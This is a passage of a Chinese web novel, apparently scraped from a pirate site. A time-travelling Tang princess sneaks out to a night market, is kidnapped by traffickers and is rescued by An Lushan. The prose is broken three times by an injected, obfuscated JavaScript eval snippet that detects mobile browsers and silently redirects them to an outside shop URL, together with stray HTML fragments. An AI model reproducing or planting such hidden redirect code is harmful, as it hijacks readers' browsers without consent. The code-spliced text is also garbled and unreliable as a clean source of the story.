如今他官居在外,远离营州,也远离了他那不祥之子的出身,日子才能有了几分安稳。 可若是把他那恨不得他早点死的母亲和继父请了过来...... 呵呵。 “这谁能知道呢?”张守珪没好气道,“没准他就是个天煞孤星的命。” “但不管再怎么说,胖成这样也不是件好事,让他少吃些,减减身上的那个肉,对他也好。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14426325|153733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>张利贞见状,也不好再说什么了。 · 一行人在长安的酒楼里吃着饭,而与此同时,在兴庆宫的新射殿。 整个兴庆宫的宫人们都知道,新射殿是贵妃娘娘的寝殿,长安公主则是住在母亲的偏殿。 而在新射殿偏殿的后面,有一个专门扩出来的小院子。 那里面种满了各色的牡丹花,如今五月牡丹花齐放,宛若仙境一般。 那是独属于长安公主自己的小院子,是皇帝李隆基专门下令,给牡丹仙子转世的女儿扩出来玩耍的院子。 此时此刻,这座开满牡丹花的小院子里,正中放着一把摇椅,在摇椅的后面则站着两个宫女,两人各举着一把足有一人高的大芭蕉扇,撑起了一片阴影。 而在那扇子撑起的阴影处,一个身着浅蓝色襦裙,身形娇小的女孩子正坐在摇椅上,晃动着一双白皙而又细嫩的小脚丫,显得惬意十足。 那女孩子约莫七八岁的模样,明明是一张五官尚未长开的小脸蛋,却已能令世间无数女子自惭形秽。 七八岁的女孩子自然无需施粉黛,可这个小公主显然也是不喜欢过于打扮的,秀丽的黑发上只用两三个簪子挽成了一个简单的发髻,唯有那颈间戴着的翠绿色玉石煜煜生辉。 正是明日便要在花萼相辉楼过八岁生辰的长安公主,李婉宁。 如今正值仲夏,天气有些许炎热,左右两侧各有一个小宫女正手执团扇,给李婉宁扇着风。 而坐在摇椅上的小公主本人呢,却是有些百无聊赖。 天知道,当一个现代人发现自己居然穿越成了唐玄宗和杨贵妃的女儿的时候,到底是一种什么新奇的体验啊! 真真是从小就被当做掌上明珠宠着啊,要什么有什么,就算没有,她阿爹也一定能给她弄来! 小的时候,堂堂开元盛世的缔造者甚至还给她当马骑! 即便她来到这个世界已经八年了,有的时候仍旧觉得周围的一切都很梦幻。 自她转世的这八年来,哪哪过得都好,除了...... 远离电子设备的生活,着实是少了许多意思。 这般想着,李婉宁忽地打了一个喷嚏。 小宫女吓了一跳,连忙掏出手绢替她擦了擦白皙的小脸蛋:“殿下,殿下您没事吧?!” 李婉宁有些无奈道:“打了一个喷嚏而已,能有什么事?” 因这个喷嚏,声音中还带上了些许鼻音。 只是她话音刚落,身后便响起了一道声音:“没什么事的话,那想来是殿下的小身子也知道,现在该吃药了。” 此言一出,李婉宁那张精致的小脸顿时皱成一团。 她眼看着伺候她的大宫女巧织拿着枇杷膏走了过来,当着她的面拧开装枇杷膏的罐子。 顿时,一股浓烈的枇杷味扑面而来。 李婉宁捏住自己的小鼻子:“唔……巧织姐姐,我都已经快好了,不用吃药了。” “就是因为快好了,才需要吃药的。”巧织说着用勺子在药膏挖了一勺枇杷膏,举到李婉宁的嘴边,“太医说了,若无意外,这便是最后一次吃药了,殿下乖啊,吃完这勺,风寒大抵就能好了。” 闻言,李婉宁撅起自己的小嘴,忸怩了好半晌,才终于张开口,把那勺枇杷膏吃了下去。 “唔……” 好难吃。 见到公主乖乖吃完了药,巧织这才露出了几分笑意。 她冲着身后的小宫女招了招手,随后从小宫女手上接过了一盘荔枝,举到李婉宁手边。 “这是今年第一批早熟的荔枝,今日刚从宫外运来的,殿下尝尝?” 这荔枝长自岭南,每年从岭南运来需要大量的人力物力,运来的也不过一丁点。 因此,整个皇宫里,也唯有陛下、娘娘和小公主三人可享用罢了。 李婉宁闻言低下头,看着盘子里的荔枝。 为了让荔枝半路上不会坏掉,这从岭南到长安的一路,都是不停地取用冬日地窖里封存的冰包裹住这些荔枝。 一盘荔枝这一路所消耗的冰,恐怕都能比得上大户人家一整年所用的冰量。 而此时这些荔枝被放在盘子里,鲜红的果皮上竟还隐隐约约散发着水雾。 她拿起一个荔枝,冰冰凉凉的。 这些是今日刚从宫外送进来的...... 李婉宁忽地福至心灵。 她那双琥珀色的杏目微微发亮,兴奋道:“我要去宫外玩!” 4. 于夜市初遇 此言一出,巧织当即被吓了一跳:“殿下不可啊!” “殿下如今风寒还没有好,若是出宫一趟又生病了可怎么办?”巧织连忙劝道,“陛下和娘娘是不会同意的呀!” 当初贵妃娘娘怀胎七月便早产生下了公主,为此娘娘难产了一天一夜,生下公主后昏迷了整整三日才醒来。 而公主亦是先天不足,从小到大一直大病小病不断,几乎就是泡在药罐子里长大的。 也幸亏公主是出生在帝王家,又深得陛下宠爱,从小便用天材地宝温养滋补着,这才能安然活到现在。 可即便如此,每当换季之时,亦或是稍微受了点风吹雨打,公主必会生病。 就比如现在公主的风寒。 闻言,李婉宁却是撇了撇嘴。 就是因为身体不好才要多动动嘛,古代都没有锻炼这么一说,小孩子身体不好就一直让他躺着休息,这样子身体就更不好了。 虽然……因为她懒,平日里也确实懒得动就是了。 “哎呀,咱们偷偷溜出去嘛。”李婉宁笑着挽住巧织的胳膊,“不让阿爹阿娘知道,不就好啦!” 巧织微微叹了口气,拍了拍李婉宁的小嫩手,语重心长道:“明日便是殿下您的生辰了,为此陛下特在花萼相辉楼设宴,届时万民同庆,万邦来朝,甚至还有外邦人来祝舞,那么好玩,殿下又何苦要去宫外呢?” “宴会有什么意思嘛。”李婉宁撅起粉嫩的小嘴巴,抓着巧织的胳膊晃了晃,“今日没有宵禁啊,据说外面有夜市呢,好多小贩在卖小吃,可热闹了!” 明明宵禁就是因为她才取消的,结果她长这么大,都还没见过夜市是什么样子呢! 巧织还是摇头:“宫外人多混杂,若没有禁军保护,殿下出了危险可怎么办?” 闻言,李婉宁登时皱起了小眉头,一副委屈巴巴的模样。 哪里有那么多危险嘛! “那巧织姐姐陪我一起出去嘛!”李婉宁这般说着,一头扎进巧织的怀里,使劲撒娇,“有巧织姐姐保护我,肯定不会有事哒!” “今日是夜市的最后一日了,等明日生辰宴一过,就又要开始宵禁了,到时候我又要等一年了。”李婉宁在巧织的怀里抬起头,一双水汪汪的杏目使劲眨巴眨巴,“去嘛去嘛!” “巧织姐姐跟着我一起出去,咱们看过了夜市就回来,好不好嘛!” 李婉宁撒娇真的是有一手的,她人长得小巧可爱,尤其是那双水汪汪的杏目,明亮且灵动,光是这么看着你,眼睛仿佛已经开始说话了。 当朝以丰腴为美,贵妃娘娘亦是身材丰满,肤若凝脂,恍若那花开硕大、鲜妍艳丽的牡丹。 可是大抵因着小公主先天不足的缘故,身材反而和贵妃娘娘相反,一直是瘦瘦小小的,从小到大不管怎么喂,都喂不出多少肉来。 小巧玲珑的那么一只,却又长得白嫩纤细,看着弱不禁风,仿佛那春风拂柳,让人忍不住地去心疼。 整个皇宫里就没人能抵得住小殿下的一番撒娇哀求,更别提一直从小把她看到大的巧织了。 最后巧织实在是被李婉宁折腾得没办法,只好微微叹了口气:“那咱们就偷偷出去一会儿,看完了夜市马上就回来。” “好!”李婉宁当即喜笑颜开,小脑袋瓜在巧织的怀里使劲蹭了蹭,“巧织姐姐最好了!” 巧织无奈地摇了摇头,看着公主的眼里却满是宠溺。 ...... 而在皇宫外,张利贞带一行人在酒楼吃过饭后,便带着他们回到了自己府上暂住。 到了晚上,安禄山躺在榻上翻来覆去,肚子“咕噜噜”地直叫,饿得难受。 他最初从军跟随义父张守珪时,义父就总是嫌他又胖又丑,在很长的一段时间里,他甚至吓得不敢怎么吃饭,唯恐瘦不下来。 可是一年两年过去了,他也从当初的那个小捉生将干到了如今的幽州节度副使,但是身上的肉却是一点都没减下去。 他也很难过啊,每日饭吃不饱,兵没少练,但是这一身的肥肉它就是下不去,一点办法都没有。 唉......真饿啊。 最后安禄山实在是饿得没办法,又想起了白日里酒楼小二说的,今夜没有宵禁,外边的夜市热闹非凡,不由自主地从榻上爬了起来,穿好衣服出了门。 等他到了张利贞府的侧门口,彼时府上的守门正要关门,见到白日里来府上客居的那个胡人走了过来,脸色登时就不好了。 “客人这是要去哪啊?我们府上已经要关门了。” 灯光昏暗,安禄山看不清楚那个守门脸上的神情,只是单听这不耐烦的语气,便不难想象到会是一副怎样嫌恶的嘴脸。 但是无所谓,他早就习惯了。 此时听着守门的话,他淡淡道:“最近公主生辰,长安不是没有宵禁么,我去附近的夜市里转转。” 那守门闻言,当即惊讶地“哦”了一声:“原来客人是要去夜市啊!” “哈哈,那客人可真是选了个好时候啊!”守门说着,连忙又把侧门重新打开,“明日便是公主的生辰了,今日是夜市的最后一日,也是最热闹的一日,客人务必去玩得尽兴啊!” 话语间充满了热情。 这态度转变之快,不禁令安禄山微微一愣。 白日在酒楼里也是如此,仿佛只要一提到长安公主,提到和长安公主有关的事物,长安人所有骨子里的傲慢皆会变为洋溢的热情。 难道真的如张利贞所言,“公主恩泽,万民同享”么? 这位长安公主,到底是个怎样的人啊...... 安禄山这般沉思着,饥饿的感觉却再度袭来,空虚的肚皮再度发出了“咕噜噜”的叫声。 唉......算了,还是先去吃个饱饭再想吧。 他当即抬腿朝门外走去,随后又开口问道:“最近的夜市是哪个?” “哎呀客人这您可就问对人了!”守门笑着道,“咱们府啊,可是在长安最好的地段,全长安最大最热闹的夜市就在附近!” 他说着来到门外,伸出手指给安禄山看:“客人您看,从右边走一直走到头,然后出了巷子再往右拐,一路往前走就能看到夜市的大街了!” “行。”安禄山略微点了点头,说着便踏出了府。 “好嘞!”守门临关门时又伸出头来,语气中充满了善意和热情,“客人您别着急,尽管在夜市里慢慢看,玩到尽兴再回来,小的给您留门!” 等到侧门关上后,安禄山不禁失笑。 从小到大,他还从没被人这么热情地对待过。 长安公主么...... 他真想早点见识一下,那位恩泽万民的大唐明珠啊。 · 彼时,这位恩泽全长安的公主殿下,已经乔装打扮好,和身边的大宫女巧织偷溜出宫了。 身为当今天子的宝贝心尖子,李婉宁自然是出宫游玩过的,不管是摆驾仪仗,还是微服私访,她都去过。 可是夜里的长安,她真的是第一次见。 只见夜市里灯笼高悬,街道的两旁都摆满了盛放的牡丹花,每个摊位里都有小贩在高兴地吆喝着,人来人往,很多铺子里都排起了长队。 “哇,好热闹啊!”李婉宁兴奋地蹦蹦跳跳,牵着巧织的手这里走走,那里看看,高兴极了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14426326|153733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大家都笑得好开心! “哎,公......小姐,您慢着点!”夜市里人多嘈杂,即便是互相牵着手也很容易被人群冲散,巧织紧紧地跟在李婉宁身后,生怕一个不小心,自家小公主就被挤没影了,“千万当心摔倒!” 只是担心归担心,看着自家小公主上蹿下跳,活力四射的模样,巧织还是欣慰地笑了。 在宫里的这些年来,小公主虽然被精心照顾着,可是从小到大,又有几次露出过这样明媚的笑容? 如今看着公主如此开心,哪怕她回宫以后会被娘娘责罚,也值了。 一主一仆在夜市里到处逛着,几乎看遍了夜市上的每一个摊位,两人又买了许多零嘴,高高兴兴地边走边吃。 只是她们不知道的是,在她们高兴玩耍的时候,已经有人牙子在暗中盯上了她们。 看着她们走过又一个巷口,两个人牙子躲在巷子里的阴影下,不怀好意地笑了。 “这可真是块大肥肉啊。” “绝对是娇生惯养大的名门小姐。”另一个人牙子兴奋道,“瞧瞧那细嫩白净的小胳膊小腿,别说做过什么活了,怕是从小到大都没亲自下地走过多少路!” “别说那小丫头了。”第一个人牙子说着指了指李婉宁身后的巧织,“就是她后边的那个丫鬟,你瞧瞧她身上的那个衣料,都能比那些小门小户家里的小姐强上太多了!” “而且年纪也正合适!”另一个人牙子搓了搓手,“嘿嘿嘿,这笔买卖要是成了,那可就赚大发了呀!” “前边就有一个转角,等到她们过那个转角的时候......”两个人牙子对视了一眼,默契地笑了,“咱们就动手!” · 而此时,在那个转角附近的一家面馆内,安禄山刚点了一份牛肉面。 虽然当朝律法禁食牛肉,可是毕竟牛肉实在是太香了,大家不敢明面上吃,但在背地里肯定是不少吃的。 俗话说的好,上有政策,下有对策嘛。 而最近又恰逢公主生辰,朝廷管得比往日宽松上许多,今日又是夜市的最后一日,人多嘈杂,便有不少店铺浑水摸鱼,打着卖羊肉猪肉的幌子,暗中卖起了牛肉。 安禄山在座位上等了一会儿,很快便有小二端了一碗拉面过来。 “面来咯!”小二说着把面放到了安禄山的身前,“客官小心烫哈。” 彼时安禄山早已饿得饥肠辘辘,如今见面来了,连忙拿起筷子,夹了一块牛肉放进嘴里。 喔,真香! 随后他又尝了一口面,更是被惊艳了一番。 这面做得着实劲道,他在营州和幽州都从来没吃过这么劲道的面。 长安人真是会吃啊! 外边的街市热闹非凡,灯火璀璨,安禄山安静地坐在面馆里,一边吃着面,一边欣赏着外面的人来人往。 有那么一瞬间,他忽然觉得,如果日子能一直这样就好了。 不用看任何人的眼色,远离任何人的轻视和辱骂,饿了就吃饭,渴了就喝水,随心所欲地过自己的日子。 可随后他便摇了摇头,自嘲地笑了。 算咯......这样的日子啊,还是等到自己再干个三五十年,把远在营州柳城的母亲和继父都熬死了,然后自己再攒够了棺材本再考虑吧。 碗里的面很快就被吃完了,这一碗面下来,安禄山吃得满头热汗,又趁热喝了一口汤,最后舒心地长叹了一口气。 很久没有吃的这么惬意了啊。 他这般感慨着,忽地一转眼,却见到了在不远处的一个转角,有两个衣着华丽的姑娘正被人牙子捂住嘴,拖进了幽深的巷子内。 5. 摸我牙干嘛! 这事说实话,本来安禄山是不想管的。 他还没到吃饱了撑的,要去管闲事的地步。 况且他曾经也是干过牙郎的,知道做人口买卖这行当的,背后大多数都有些人脉。 这帮人牙子敢在长安拐人,不是背后有靠山,就是一帮亡命徒。 他刚到长安初来乍到,若是因此得罪了什么不该得罪的人,那可就太不值当了。 他还想着以后来长安的官场发展呢。 ……等等。 安禄山忽然想到,刚才那两个被掳走的姑娘,一大一小,似乎身上的衣料首饰都很名贵? 嘶…… 他努力回想了一下,确定自己刚才没有看错,那个大的他不确定,但是那个小的,绝对是某个名门勋贵家的小姐。 敢掳走这样有钱的人家,要么是那户人家的仇家花钱雇的这帮人,要么那两个人牙子真的就只是把脑袋别在衣带上的亡命徒。 但是前者应该不大可能。 毕竟如果真是仇家寻仇,那至少也得掳个小少爷,家族的继承人之类的,这样才有用。 那看来这两个人牙子真的就只是一帮不要命的东西咯。 那这样的话…… 那个小丫头至少是个名门勋贵家的千金小姐啊,自己若是救了这小丫头…… 他刚来长安初来乍到的,正是最需要人脉的时候呢。 说干就干! 安禄山当即拍板,迅速付了账,而后进入了那个幽深的巷子,悄悄地尾随在那两个人牙子身后。 他跟着那两个人牙子在阴暗的巷子里左拐右拐,出了长安最繁华的地界,一路来到了城郊的某个偏僻小院子。 两个人牙子把李婉宁和巧织推进了院子里后,又朝外左右张望了一番,确定周围没有人以后,很快把木门内的插销插上了。 待到周围彻底陷入了安静以后,安禄山才从暗处走了出来。 他来到了大门旁的墙外,望着面前和他齐头的墙壁,冷笑了一声,伸出手在墙头上猛地一按。 登时,他那粗壮的手臂上肌肉暴起,整个人借力腾空一跃,随后便轻而易举地翻进了院里。 院子里黑漆漆的,几乎什么都看不清,不过这样反而更好,他看不见屋子里,但是屋子里的人也不见院子里的他。 安禄山悄悄地来到门前,将耳朵贴在门上,倾听着里面的动静。 彼时在屋子里,李婉宁和巧织被推搡到了地上,四周不断有“呜呜”的挣扎声传来,她们环顾四周,便见到除了她们两个,还有许多年纪不大的女孩子们被绑在地上,捂住了嘴。 巧织紧紧地把李婉宁抱紧怀里,小声安慰着:“殿下别怕,奴婢一定会保护好您的!” 李婉宁其实没有那么怕的,毕竟她的灵魂又不是个八岁的小孩子,只是她感觉到身旁的巧织自己都害怕得发抖,却还是在努力地安慰自己,心头不由得一暖。 “嗯,我不怕!” 这时,她们面前的人牙子兴奋道:“发了发了!今天干了一个晚上了,终于逮着了一块大肥肉!” 另一个也是激动不已:“而且还是这么肥的!咱们兄弟俩干了这么多年,都还没捞到过这么大的肥肉!” “哎哟哟,瞧瞧这细皮嫩肉的哟。”第一个人牙子说着吹了个口哨,伸出手就要去摸李婉宁的小脸,“这得是花多少钱,才能养得出来这么嫩的脸蛋哟。” 只是还未等他碰到李婉宁的小脸蛋,便被巧织伸出手给打了开。 “哎哟!” 巧织死死地瞪着那个人牙子:“好大的胆子,你知道她是谁吗!” “我管她是谁啊!”那个人牙子上去就甩了巧织一个巴掌,“她就算是皇帝的闺女,今天被我们哥俩逮着,也只有跪下来求饶的份儿!” “真是个忠心护主的小丫鬟啊。”另一个人牙子说着拍了拍同伴的肩膀,随后狞笑地看着巧织,“你这个小主子年纪太小,卖到西边去做个童养媳正好,至于你的话,卖到江南去做个瘦马,亦或是卖到远点的青楼,最合适了!” “反正最后都是要卖给别人享乐的玩意,现在嘛......”人牙子说着便走上前,撸起袖子,“就先让大爷爽爽吧!” 巧织被这一巴掌扇得眼花耳鸣,直接扇倒在了地上,刚稍微一缓过神,就听到了那人牙子下流无耻的话语,眼见着那人牙子越走越近,她心里害怕极了。 “你......你别过来!” 就在这时,一个身影悄无声息地来到了远处的那个人牙子背后,挥起那沙包一样大的拳头,直接就照着那个人牙子的脸上来了一拳。 那个人牙子惨叫了一声,往后倒了至少三四步。 阴暗的屋子里,安禄山面无表情地活动了一下手腕。 他刚才可是都听清楚了,这俩人就是两个单干的亡命徒。 那就不好意思了,今夜就用他们两个,来给自己搭一条富贵路吧。 另一个人牙子听到同伴的惨叫声,连忙回过头,便见到一个高大的身影站在他的身后,惊吓道:“你,你是谁?!” 安禄山冷笑了一声:“你爷爷。” “妈的,这么嚣张!”那个人牙子骂了一声,“咱俩一块上,我就不信他还能一打二!” “好!” 两个人牙子说着一拥而上。 对此,安禄山的心里只有两个字:呵呵。 说真的,要是连这两个杂碎他都搞不定,那他这幽州节度副使还是别当了,趁早跟他义父递交辞呈,滚回柳城去任他继父和母亲的打骂吧。 那两个人牙子满怀信心地冲了上去,然后被安禄山一拳一个,按住了脑袋往死揍。 很快他俩就被揍得哭天喊地,终于在又一次被对方狠厉地锤在地上之后,颤颤巍巍地爬起来,仓皇地想要逃跑。 然而揍他们的那个身影看着像是一座巍峨的高山,动作却是如旋风一般快,无论他们跑得多么快,总能被对方拎住了后衣领拽回来,随后又是一顿狠揍。 他们最后都察觉到了,对方纯粹就是在玩他们,给他们逃跑的希望,却又在他们即将逃出去时,亲手掐灭这个希望。 没过一会儿,那两人就被捶得后背生血,骨头“咯吱”作响,双腿发颤,逃无可逃,只好跪在地上给安禄山磕头叫爷爷。 “爷爷,爷爷饶命啊爷爷!” “是小的有眼不识泰山,求爷爷饶了孙子吧!” 闻言,安禄山的眼中闪过一丝无趣。 他这还特意收了力道呢,没把这俩人的胳膊腿给拧断,没想到还是这么不禁打。 都是亡命徒了,骨头还能这么软。 而在安禄山揍两个人牙子的空当,李婉宁已经趁机和巧织去给那些被绑住的姑娘们松绑。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14426327|153733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 此时听见那些人牙子的求饶声,李婉宁又让巧织拿着从姑娘们身上解下来的绳子,去递给安禄山。 巧织遵照公主的吩咐,拿着绳子来到安禄山面前:“这位英雄,用这个吧!” 安禄山略微颔首,接过巧织手上的麻绳,把两个人牙子牢牢地捆了起来。 末了,他又给那两人一人踹了一脚,这才道:“你们跟着我,送这两个人牙子去报官,然后我送你们回家。” 那些被人牙子绑来的小丫头们都吓坏了,哭哭啼啼地抹着泪,缩在给她们松绑的李婉宁身边。 那个救了她们的恩人,看不清楚脸,但是听声音好冷漠,也好凶。 这个小妹妹虽然年纪小,但是却莫名带给她们一种安全感。 见状,安禄山不禁歪了歪脑袋,颇有些好奇地看着李婉宁。 这小丫头片子刚才肯定也听到了,那两个人牙子要把她带出长安卖了吧,居然一点都不带怕的? 这般想着,他不由得来到李婉宁的面前,打量着面前的小丫头。 而与此同时,李婉宁也正抬起头,打量着安禄山。 屋里昏暗,她只能勉强看得出来面前人生得极其高大威猛,站在她面前就如同一座山一般。 ......这么仰头看,看得她脖子疼。 安禄山能感受到面前的小丫头也在看着他,两个人就这么大眼瞪着小眼,这让他不禁挑眉。 这小丫头有点意思。 屋里实在是太暗了,安禄山努力眯起眼,却还是完全看不清这小丫头的长相。 只是即便看不清,仅凭他曾经干了许多年牙郎的经验和直觉,便能知道这小丫头绝对是从小就被娇生惯养长大的。 这般想着,曾经干过牙郎的经历让他下意识伸出手,捏住了李婉宁柔软的双颊,把她的小嘴巴捏开,然后将另一手探入她的口中,去摸她的牙。 他聚精会神地摸了一遍李婉宁的牙口,再次确定,眼前的这个小丫头,从小到大绝对一丁点苦头都没有吃过。 安禄山刚下完结论,随后手指头便传来疼痛,他下意识地缩回手指。 随后便看到眼前的小丫头低下头,朝地上吐了吐口水。 李婉宁睁大一双琥珀色的杏目,两手叉着小腰,凶狠地瞪着眼前这个像头熊一样的人。 这什么人啊,怎么上来就摸别人的牙! 一旁的巧织见状,生怕这个高大的陌生男子动怒,伤害到公主,连忙把自家小公主护在身后,出声道:“谢谢这位英雄救了我们。” 其实安禄山倒是没生气。 他还犯不着和一个这么小的小丫头计较,更何况他还要捞到这个小丫头父母的人情,现在必须要善待她们。 而且......从这小丫头的牙口来看,这小丫头今年也就八岁左右,自小养在深闺,遇到危险还能这么勇敢镇定,他倒是有点欣赏这小丫头了。 此时听到巧织的话,他淡淡地应了一声:“先去报官吧。” 随后他就拽着那两个被绳子捆起来的人牙子走在前边,而巧织和李婉宁则带着被掳来的女孩子们跟在后面,一行人就这么浩浩荡荡地出了院子,往官府的方向走去。 他们走在半途,忽地前边出现了一个骑在马上的高大人影,那人看见他们,连忙策马朝他们奔来。 “公......小,小姐!” 6. 爹娘生气了 来者便是大唐如今的禁军统领,官任龙武大将军,名陈玄礼。 如今已至深夜,天色昏暗,看不清楚面孔,但陈玄礼还是一眼就认出了人群里的小公主。 天知道,他今夜刚换班值守,人还没出府,手下就来报,说长安公主失踪了。 吓得他连铠甲都来不及披上,赶紧策马带队到长安各处去找人。 如今终于把人给找到了,悬了一路的心也终于放了下来,他长舒了一口气。 陈玄礼策马快速朝一行人赶去,却忽地看到在那群人的最前面,正站着一个威猛强健、恍若一头熊般的男子。 而在那个人的身前,还有两个被绳索捆绑住的人。 陈玄礼的心几乎是同时便再次提了起来。 此人绝对不是善茬。 他匆匆下马来到李婉宁的面前,蹲下身和小公主平视:“小姐您没事吧?” 说这话的空当,他用余光瞥着人群最前面的安禄山,在见到对方并没有动作时,这才稍微放下了戒心。 李婉宁轻轻摇了摇头,刚要开口,巧织便上前抱住了她。 “陈侍卫,我们没事,多亏了那位英雄救了我们。” 巧织这般说着,看向安静站在一旁的安禄山。 陈玄礼这才站起身,细细地打量起这个雄壮的男子,还有他面前被绑着的两个人。 夜色昏暗,他看不清这个人的面容,但是单看对方的身形和姿态便能确定,此人武艺高强,若非出身行伍,便是占山为王的山贼土匪。 而那正被绑着的两个人,颤颤巍巍,姿态猥琐,竟是一副怕极了的模样。 陈玄礼不由得眯起眼睛:“发生了什么?” 于是巧织很快言简意赅地将事情的经过讲述了一遍。 听完巧织的讲述,陈玄礼面上不显,但是背后已经惊起了一层冷汗。 他根本无法想象,若是今夜小殿下真的出了什么危险,陛下将会如何的震怒。 这般想着,陈玄礼不禁扭过头,看向那两个人牙子的眼眸里凶光毕露。 他现在就恨不得抽出腰间的佩剑,亲手刮了这俩人。 这两个人好大的胆子! 公主千金之躯,若是损伤了一根汗毛,便是给他们一百条命也不够抵的! 不过他也很快就冷静了下来,转眼看到淡然站在一旁的安禄山,拱手道:“多谢这位壮士搭救我家小姐,敢问壮士尊姓大名,待我回头禀告主君主母,日后必有重谢。” 从方才开始,安禄山也在一直打量着陈玄礼。 在听到那个丫鬟喊对方“陈侍卫”时,他的眼中猛地一亮。 他原本确实是想着依靠搭救长安的勋贵小姐来给自己搭建人脉,但是“勋贵”这个词其实很笼统。 毕竟长安可是所谓的“富贵温柔乡,十里黄金路”,整个长安城内,能养得起大家闺秀的人家可太多了。 可若是家中能养得起侍卫的,那才是真正有权势的名门望族啊! 他今夜可真是撞上大运了。 只不过,若是要对上这样的名门望族,他反而还要更含蓄一些。 “不敢当,鄙人姓安,不过是一个戍边的小武将,来长安城参加长安公主的生辰宴,却不成想今日刚到长安,就碰上了这档子事。” 安禄山这一番话,着实隐晦得恰到好处。 既表现出自己并非急功近利之徒,也把自己的身份透露了个大概。 若是对方真的知恩图报,根据自己说的这些线索,自然能找上他;若是对方不方便大张旗鼓地登门报答他,这反而更好。 越是不能直接给出的谢礼,背后的价值反而愈加丰厚。 人情和人脉,可是比千金万贯还要宝贵的东西。 果不其然,安禄山此言一出,陈玄礼看向他的眼中顿时多了几分欣赏。 “好,我记住了,陈某在此先代主君和主母,感谢安壮士的义举。” 而李婉宁则是惊讶地看着安禄山。 这个姓安的家伙说,他千里迢迢从大唐边境赶来,就是为了参加自己的生辰宴吗! 她那双明亮的杏目里登时亮起了小星星,哇...... 李婉宁兴奋地张开口,刚想要说些什么,却被巧织轻轻地拍了拍小脑袋瓜。 随后陈玄礼道:“剩下的琐事,安壮士无须劳累,陈某自会扭送这两个人牙子去报官,随后再护送其他的姑娘们回家。” 闻言,安禄山当即颔首:“那就有劳陈侍卫了。” 已经这么晚了,明日他还得早起准备排队进花萼相辉楼呢,赶紧回府睡觉去了。 众人眼看着安禄山的身影渐渐走远了,随后陈玄礼将手放到唇边,吹了个口哨。 没到片刻,便有手下策马前来应命。 陈玄礼很快将各种“琐事”分派了下去,然后抱起李婉宁,把她放到自己的马上,同时自己也翻身上马,护送公主回宫。 高头大马在长安的街道上一路奔驰,迎面而来的风吹乱了李婉宁的发丝。 望着远处巍峨华丽的兴庆宫,她不用想都知道,阿爹和阿娘肯定担心坏了。 她下意识地往陈玄礼的怀里缩了缩。 正一手揽着李婉宁的陈玄礼见状,低声问向怀里的小公主:“公主冷吗?” 李婉宁摇了摇头,伸出一只小手,轻轻地拽了拽陈玄礼的衣袍,小声道:“陈将军对不起,宁儿害你们担心了。” 小小的人儿缩在陈玄礼的怀里,那满头乌发的小脑袋瓜小小的,细嫩的小手也小小的,出口的声音更是微小极了。 身下的马儿奔跑的速度逐渐慢了,迎面而来的风也逐渐得小了。 末了,陈玄礼长叹了一口气:“公主今日偷溜出宫,陛下和娘娘都急坏了,生怕公主遇到危险。” “幸好今夜有惊无险,不然若是公主有个三长两短,陛下和娘娘可怎么办呢?” 此言一出,李婉宁那小小的脑袋垂得更低了,小小的声音里更是平添了几分哭腔。 “对不起,宁儿知道错了。” 闻言,陈玄礼不禁低下头看向怀里的小姑娘。 他身为陛下的亲信,皇宫的宿卫统领,时常在御前奔走,自然也经常会见到公主殿下。 因此他也算是看着小公主长大的。 小殿下实在是太过惹人喜爱了。 天生就长得瘦瘦小小、令人不由自主地想要怜爱不说,性子还偏偏又活泼又开朗,像个明媚的小太阳,温暖着偌大的皇宫。 整座皇宫里,就没有人会不喜欢小公主。 如今看到小公主一副伤心又委屈的模样,陈玄礼到底是心软了。 他无奈地轻轻拍了拍李婉宁的头,温声道:“既然公主知道错了,那公主下次就不要再让陛下和娘娘伤心了,好吗?” 李婉宁依偎在陈玄礼的怀里,乖乖地点头:“好。” 看到小公主乖巧的模样,陈玄礼的心已经软得一塌糊涂。 他不由得安抚地揉了揉小公主的发顶,柔声道:“夜色已经深了,咱们早些回宫,公主明日还要过生辰呢。” “嗯。” 身下的马又重新快了起来,两人一路朝着兴庆宫的方向奔去了。 ...... 因着事出从急,陈玄礼带着李婉宁一路骑马进了兴庆宫,等到了李隆基的南薰殿前才堪堪勒紧缰绳。 待到马儿停下以后,陈玄礼把小公主从马上抱下来,两人才刚踏进南薰殿,便听得自内殿传来了一声滔天的怒吼:“宁儿——!” 李婉宁当即吓得小身板打了一个哆嗦。 随后便见到她的阿爹和阿娘从内殿匆匆走了出来。 杨玉环哭得梨花带雨,满头的发簪松垮地垂在头发上,遥远的望见女儿小小的身影,她连忙奔到女儿面前,紧紧地将女儿抱进了怀里。 “宁儿,我的宁儿啊!” 早在陈玄礼带着李婉宁回宫前,便有手下快马加鞭赶回皇宫,将事情的始末告知给了陛下和 